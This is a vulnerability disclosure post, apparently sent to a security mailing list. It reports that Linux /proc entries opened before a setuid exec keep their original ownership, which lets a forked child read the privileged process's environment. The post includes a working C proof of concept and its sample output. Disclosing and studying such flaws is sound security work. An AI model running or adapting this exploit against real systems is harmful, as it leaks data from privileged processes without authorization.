Linux /proc sensitive information disclosure

[Paul Starzetz <paul () starzetz de>]

Hello,

attached a simple prrof of concept for the /proc filesystem disclosing 
sensitive information.

I noticed that opening an entry from /proc/self/ and keeping the file 
open while executing a setuid binary prevents the opened proc entry from 
changing the ownership from the initial user to the set-uid value. 
However I'm not very sure about the impact of this bug (feature), the 
attached code just reads the environment (which is per default mode 400).

The technique can not be applied to /proc/self/mem because the permision 
checks are made dynamically (the child must be ptraced etc.).

This is a sample output of the PoC:


paul@home:~/dev/expl> ./procex

parent executing setuid
PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms

child reads parent's proc:
PWD=/home/paul/..........

Content of /proc/32353
ls: /proc/32353/cwd: Permission denied
ls: /proc/32353/root: Permission denied
ls: /proc/32353/exe: Permission denied

-r--r--r--    1 root     root            0 Jun 20 14:47 cmdline
lrwxrwxrwx    1 root     root            0 Jun 20 14:47 cwd
-r--------    1 paul     users           0 Jun 20 14:47 environ [*]
lrwxrwxrwx    1 root     root            0 Jun 20 14:47 exe
[...]
-r--r--r--    1 root     root            0 Jun 20 14:47 status
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% loss, time 1998ms
rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms

[*] as you can see here the ownership didn't change...

/ih

/****************************************************************
*                                                               *
*       Linux /proc information disclosure PoC                  *
*       by IhaQueR                                              *
*                                                               *
****************************************************************/



#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>



static char buf[128];



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
        fprintf(stderr, "FATAL: %s\n", msg);
    } else {
        perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int main()
{
    int fd, r;
    char c;

    sprintf(buf, "/proc/%d/environ", getpid());
    fd = open(buf, O_RDONLY);
    if (fd > 0) {
        sprintf(buf, "/proc/%d", getpid());
        if (fork()) {
            printf("\nparent executing setuid\n");
            fflush(stdout);
            execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
            fatal("execl");
        } else {
            sleep(1);
            printf("\nchild reads parent's proc:\n");
            fflush(stdout);
            while (1) {
                r = read(fd, &c, 1);
                if (r <= 0)
                    break;
                printf("%c", c);
            }
            printf("\n\nContent of %s\n", buf);
            fflush(stdout);
            execl("/bin/ls", "ls", "-l", buf, NULL);
        }
    } else
        fatal("open proc");

    printf("\n");
    fflush(stdout);

    return 0;
}